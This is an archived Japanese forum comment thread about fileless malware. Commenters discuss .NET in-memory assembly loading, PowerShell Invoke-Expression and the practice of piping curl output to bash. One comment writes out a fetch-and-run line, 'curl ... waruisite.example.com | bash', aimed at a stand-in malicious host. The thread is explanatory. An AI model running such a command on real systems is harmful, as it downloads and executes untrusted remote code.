パスワードを忘れた? アカウント作成
この議論は賞味期限が切れたので、アーカイブ化されています。 新たにコメントを付けることはできません。

不正なコードをファイルに書き込むことなく実行するマルウェアが増加傾向」記事へのコメント

  • by Anonymous Coward on 2020年01月30日 14時27分 (#3753411)

    どういうことですかね?
    bash -c "echo foo" みたいな話?

    • by Anonymous Coward on 2020年01月30日 15時35分 (#3753454)

      PowerShellというより.NETの機能として、メモリ上の.NETモジュールのバイナリをロードできるので、それのことかな。

      本体のマルウェアをネットワークからダウンロードしてメモリ上に展開し、.NETランタイムにロードすることで、
      ディスクに書き込まずに悪意あるプログラムを実行できる。
      PowerShellは.NETランタイムで動作しているので、読み込まれたモジュールを直接呼び出せる。

      リンクされているMcFeeのホワイトペーパーによれば、
      「検知にファイルベースのアプローチをするほとんどのセキュリティソリューションは動作監視をしていたとしてもファイルレス攻撃を検知できない」
      とある。

      親コメント
      • by Anonymous Coward on 2020年01月30日 17時00分 (#3753509)

        これ System.Reflection.Assembly.LoadModule() [microsoft.com] ですね。.NETではバイト配列からアセンブリを読み込めるんですね。

        とはいえ、本体のダウンロード、読み込みを行うPowerShellスクリプトは必要になるので、検出するのはさほど難しくない気はしますが。
        PowerShellは難読化しやすいとも書いてあるけど、うーん、どうかな。

        親コメント
        • by Anonymous Coward

          マルウェアかどうか判定するのは簡単かな?
          すべて公開APIで可能な処理だし、「外部URLからダウンロードしたアセンブリを読み込むプログラム」というだけでマルウェア扱いはできない気がする。
          ダウンロード先のURLで判断するくらいだが、URLなんていくらでもばらけさせられるし、
          white paperにはこれを複数段階かませてるって書いてあるし、結構手ごわいのでは。

          • by Anonymous Coward

            >ダウンロード先のURLで判断するくらいだが
            ホワイトリストで対応するしかないでしょうね。
            開発者くらいでしょう、リストに追加する必要が生じるのは。

      • by Anonymous Coward

        .NETの機能に限らず、対話的にスクリプトを実行できる機能が提供されていれば、
        ダウンロードしたデータがテキストかバイナリかの違いはあれど、
        実現はできそうなきがする(Windows上で高機能な環境として
        Powershellが選ばれているってだけで)

        # 昔、話題になった遠隔操作と何が違うのだろう?

    • by Anonymous Coward

      Invoke-Expression(略して iex)というコマンドがあります。

      chocolateyというhomebrewのパクりの出来損ないのようなユーティリティのインストールでも使われており
      https://chocolatey.org/install [chocolatey.org]
      何となくニュアンスはつかめると思いますが、ネットからDLしたスクリプトをそのまま実行出来てしまうという
      凶悪な機能です。
      狂ってる。

      # WIndows/Microsoftにあまり関わらない人生を送れててよかった...w

      • by Anonymous Coward

        むしろその程度もできないモダンなOSって存在するの?

        • by Anonymous Coward
          いや別にモダンなOSじゃなくてもそんなネットから取得した文字列を何でもかんでもsystem(3)で実行できるようにはなってないだろ
          • by Anonymous Coward

            意味がわからん。具体的にどのOSのどのセキュリティ機構について言及してる?

          • by Anonymous Coward

            ふつーにできるっていうか、*nixではその狂気がむしろ推奨されてることも有るよね?

            PowerShellのは一般的に推奨されてる感は全く無いけれど(そもそも手打ちさせることが少ない)、
            「無暗号化httpにcurlした結果をbashにパイプするコマンドを推奨インストール手順にする」
            とかいう狂ったやり方は割と最近の*nuxで一般的な文化となっている印象なんだけど………?
            一般的じゃないけど出来なくもない、よりも、
            一般的な文化となっている、方が明らかにやばい。

        • by Anonymous Coward

          むしろこんな凶悪な機能をブロックする程度のセキュリティとか
          テラバイト級のメモリの対応とか
          モバイルOSとの連携とか
          「モダンOS」の最低限の要件だと思うんだ。

          Windowsは…すっかりレガシーに成り下がってしまって…

          • by Anonymous Coward on 2020年01月30日 18時53分 (#3753582)

            お、そうだな [qiita.com]
            # 散々問題視されてきた筈なのに未だにこんなTipsが世に出てくるザマでよく言えるな……
            ## 問題視だけで脆弱性扱いにならない理由は省略。そしてそれはbashでもPSでも共通である。

            親コメント
          • by Anonymous Coward

            > テラバイト級のメモリの対応とか

            さらりとMac Proをdisってて草。さてはオメーAppleアンチだな。

            Macでもようやく1T超のメモリを扱う環境が出て来たが(金さえ積めば)
            Linux/Winに比べてMacはX年遅れなんだよな。。ハードウェアの縛りのキツいエコシステムだから仕方ないが。。

      • by Anonymous Coward

        Invoke-ExpressionなんてPowerShell上のコマンド実行できる前提の危険性アピールなんか意味ないだろ。evalとか知らないの?
        そんなん使わなくてもpowershel.exeから直接PowerShellコマンドを送れる。

        そもそもマルウェアに実行権限握られてる時点でアウトだよ。PowerShellはマルウェアにとっても便利なツールってだけ。

        • by Anonymous Coward

          >そもそもマルウェアに実行権限握られてる時点でアウトだよ
          これなんだよなぁ
          怪しいプログラムを実行してる時点で負け確

      • by Anonymous Coward

        Invoke-Expression自体はネットからダウンロードしてないやんけ!
        Install-Packageをディスったほうがいいんじゃないでしょうか。

    • by Anonymous Coward

      curl -s http://waruisite.example.com/ [example.com] | bash -s の方が近そう。

    • by Anonymous Coward

      ホワイトペーパーの下記の部分が気になりますね。
      > 不正なコードを、OSやコモン ユーティリティに関係する
      > 一般的でない場所、例えばWindows レジストリ、WMIスト
      > ア、SQLテーブル、タスクスケジューラーなどに埋め込む

      例えばLAN内のマシンA,Bに穴があって仕込みが可能として、
      マシンBのレジストリに難読化したデータを仕込んで、
      マシンAの Enter-PSSession とかでマシンBのレジストリから
      読み込んで実行しちゃうとか。

    • by Anonymous Coward

      ある意味、ブラウザと同じ。必要なスクリプトやアセットを、いったんローカルに保存しなくてもいいでしょ(キャッシュしたりはするけど)。
      旧来のマルウェアは、いったんローカルディスクに保存して、それをロードするような設計のものが意外に多かった。
      だから、virustotal に投げてみよう、なんてことも、捕まえてしまえば簡単だった。

    • by Anonymous Coward
    • by Anonymous Coward

      実はUnicodeは犯罪 [togetter.com]みたいな話だったりして。

※ただしPHPを除く -- あるAdmin

処理中...